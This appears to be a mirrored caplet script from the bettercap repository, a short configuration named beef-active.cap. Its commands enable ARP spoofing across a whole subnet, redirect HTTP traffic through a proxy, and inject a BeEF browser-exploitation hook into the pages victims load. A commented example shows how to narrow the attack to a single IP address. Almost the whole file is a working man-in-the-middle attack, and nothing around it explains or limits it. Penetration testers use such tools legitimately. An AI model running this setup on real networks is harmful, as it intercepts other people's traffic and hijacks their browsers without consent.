mirror of
https://github.com/bettercap/bettercap
synced 2025-07-12 08:07:00 -07:00
21 lines
465 B
Text
21 lines
465 B
Text
# targeting the whole subnet by default, to make it selective:
|
|
#
|
|
# sudo ./bettercap-ng -caplet caplets/beef-active.cap -eval "set arp.spoof.targets 192.168.1.64"
|
|
|
|
# inject beef hook
|
|
set http.proxy.script caplets/beef-inject.js
|
|
# keep reading arp table for network mapping
|
|
net.recon on
|
|
# redirect http traffic to a proxy
|
|
http.proxy on
|
|
# wait for everything to start properly
|
|
sleep 1
|
|
|
|
# make sure probing is off as it conflicts with arp spoofing
|
|
arp.spoof on
|
|
|
|
|
|
|
|
|
|
|
|
|